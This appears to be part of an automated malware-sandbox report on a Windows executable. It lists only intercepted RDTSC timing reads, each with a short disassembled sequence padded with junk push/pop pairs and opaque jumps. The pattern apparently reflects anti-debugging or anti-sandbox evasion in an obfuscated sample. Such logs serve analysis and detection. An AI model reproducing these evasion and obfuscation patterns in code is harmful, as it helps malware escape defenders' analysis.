Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E95340 second address: E95344 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E95344 second address: E95352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E94637 second address: E9463C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E9463C second address: E94642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E95352 second address: E9535C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E94642 second address: E94646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E972AF second address: E972B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E972B3 second address: E972B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E972B9 second address: E972BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E972BF second address: E972C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E97453 second address: E97457 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E9B02F second address: E9B050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6190F124D2h 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E9B050 second address: E9B056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E9B056 second address: E9B07D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6190F124D6h 0x0000000b pushad 0x0000000c jnp 00007F6190F124C6h 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E31A75 second address: E31A9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6190F29217h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jc 00007F6190F29206h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EA19B0 second address: EA19B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EA19B6 second address: EA19BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EA1CB3 second address: EA1CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EA1CB9 second address: EA1CBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EA1E16 second address: EA1E1C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EA1E1C second address: EA1E65 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6190F29217h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jc 00007F6190F29212h 0x00000011 je 00007F6190F29206h 0x00000017 jp 00007F6190F29206h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F6190F29219h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EA1E65 second address: EA1E69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E36AF5 second address: E36AFB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EA6C0E second address: EA6C4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F6190F124C6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F6190F124D9h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F6190F124D0h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EA6C4C second address: EA6C76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F2920Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F6190F2920Fh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EAD198 second address: EAD1A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6190F124C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EAD1A2 second address: EAD1A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EAD1A6 second address: EAD1D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F6190F124CDh 0x0000000d jno 00007F6190F124CCh 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 js 00007F6190F124CCh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EAD1D2 second address: EAD1D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EAD34F second address: EAD37D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6190F124C6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jc 00007F6190F124C6h 0x00000017 ja 00007F6190F124C6h 0x0000001d jc 00007F6190F124C6h 0x00000023 popad 0x00000024 jc 00007F6190F124CEh 0x0000002a pushad 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EAD37D second address: EAD381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EAD381 second address: EAD3A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6190F124D4h 0x00000009 jmp 00007F6190F124CEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EAD3A7 second address: EAD3C9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F6190F2920Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6190F2920Ah 0x00000012 je 00007F6190F29206h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EAD51F second address: EAD52D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EAD52D second address: EAD535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EADAB2 second address: EADAC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F6190F124CDh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EADAC9 second address: EADB0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6190F29206h 0x0000000a popad 0x0000000b jmp 00007F6190F2920Dh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jnl 00007F6190F29206h 0x0000001c push edi 0x0000001d pop edi 0x0000001e popad 0x0000001f push edx 0x00000020 jmp 00007F6190F29216h 0x00000025 pushad 0x00000026 popad 0x00000027 pop edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EB208E second address: EB2094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7D6FF second address: E7D725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jmp 00007F6190F29219h 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7D82F second address: E7D83A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7D83A second address: E7D83E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7DAED second address: E7DAF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7DAF6 second address: CD7C0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F2920Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d adc edi, 29917E50h 0x00000013 push dword ptr [ebp+122D09A5h] 0x00000019 add edx, dword ptr [ebp+122D1881h] 0x0000001f call dword ptr [ebp+122D2F37h] 0x00000025 pushad 0x00000026 jnp 00007F6190F29212h 0x0000002c xor eax, eax 0x0000002e jp 00007F6190F2920Ch 0x00000034 mov edx, dword ptr [esp+28h] 0x00000038 ja 00007F6190F29210h 0x0000003e pushad 0x0000003f push ebx 0x00000040 pop ebx 0x00000041 or dword ptr [ebp+122D34AEh], eax 0x00000047 popad 0x00000048 mov dword ptr [ebp+122D2C3Fh], eax 0x0000004e cld 0x0000004f mov esi, 0000003Ch 0x00000054 jmp 00007F6190F29217h 0x00000059 add esi, dword ptr [esp+24h] 0x0000005d jmp 00007F6190F29216h 0x00000062 lodsw 0x00000064 clc 0x00000065 add eax, dword ptr [esp+24h] 0x00000069 clc 0x0000006a mov ebx, dword ptr [esp+24h] 0x0000006e jmp 00007F6190F29219h 0x00000073 nop 0x00000074 push eax 0x00000075 push edx 0x00000076 jns 00007F6190F29208h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7DBC5 second address: E7DBD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7DBD0 second address: CD7C0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F2920Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a nop 0x0000000b mov ecx, dword ptr [ebp+122D2A07h] 0x00000011 push dword ptr [ebp+122D09A5h] 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F6190F29208h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 mov ch, 7Fh 0x00000033 call dword ptr [ebp+122D2F37h] 0x00000039 pushad 0x0000003a jnp 00007F6190F29212h 0x00000040 xor eax, eax 0x00000042 jp 00007F6190F2920Ch 0x00000048 mov edx, dword ptr [esp+28h] 0x0000004c ja 00007F6190F29210h 0x00000052 pushad 0x00000053 push ebx 0x00000054 pop ebx 0x00000055 or dword ptr [ebp+122D34AEh], eax 0x0000005b popad 0x0000005c mov dword ptr [ebp+122D2C3Fh], eax 0x00000062 cld 0x00000063 mov esi, 0000003Ch 0x00000068 jmp 00007F6190F29217h 0x0000006d add esi, dword ptr [esp+24h] 0x00000071 jmp 00007F6190F29216h 0x00000076 lodsw 0x00000078 clc 0x00000079 add eax, dword ptr [esp+24h] 0x0000007d clc 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 jmp 00007F6190F29219h 0x00000087 nop 0x00000088 push eax 0x00000089 push edx 0x0000008a jns 00007F6190F29208h 0x00000090 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7E065 second address: E7E069 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7E069 second address: E7E0A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F6190F2920Bh 0x0000000d nop 0x0000000e mov edx, dword ptr [ebp+122D1878h] 0x00000014 push 00000004h 0x00000016 add dword ptr [ebp+122D384Ch], edi 0x0000001c nop 0x0000001d jmp 00007F6190F2920Fh 0x00000022 push eax 0x00000023 jnp 00007F6190F29210h 0x00000029 push eax 0x0000002a push edx 0x0000002b push ebx 0x0000002c pop ebx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7E474 second address: E7E48F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jo 00007F6190F124C6h 0x00000014 je 00007F6190F124C6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7E8AF second address: E7E8BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EB2698 second address: EB269C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EB2804 second address: EB2827 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F6190F29206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F6190F29214h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EB2827 second address: EB282D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EB2997 second address: EB299D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EB299D second address: EB29A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EB29A1 second address: EB29A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EB29A5 second address: EB29B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a jnl 00007F6190F124C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EB6576 second address: EB657A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EBEB91 second address: EBEB99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EBD8FD second address: EBD903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EBD903 second address: EBD909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EBD909 second address: EBD90D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EBDA56 second address: EBDA5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EBDA5D second address: EBDA68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EBDE76 second address: EBDE7B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EBDE7B second address: EBDE8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F6190F29206h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EBDE8A second address: EBDE8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EBE2DF second address: EBE2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EBE5E8 second address: EBE5EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E428AC second address: E428B1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E428B1 second address: E428BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E428BA second address: E428BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EC30A3 second address: EC30A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EC338A second address: EC338E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EC338E second address: EC3394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EC38D2 second address: EC38D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EC38D7 second address: EC38F9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6190F124C8h 0x00000008 pushad 0x00000009 jng 00007F6190F124C6h 0x0000000f jmp 00007F6190F124CFh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EC3D79 second address: EC3DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pushad 0x00000007 jmp 00007F6190F29211h 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6190F29215h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EC4509 second address: EC4519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a ja 00007F6190F124C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EC892B second address: EC8930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EC82D8 second address: EC82E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EC82E1 second address: EC82E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EC82E5 second address: EC82F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124D0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EC846C second address: EC8470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EC8470 second address: EC8497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d pushad 0x0000000e jmp 00007F6190F124D7h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EC8497 second address: EC849D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EC849D second address: EC84BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6190F124C6h 0x0000000a popad 0x0000000b jmp 00007F6190F124CDh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jng 00007F6190F124C6h 0x0000001a rdtsc
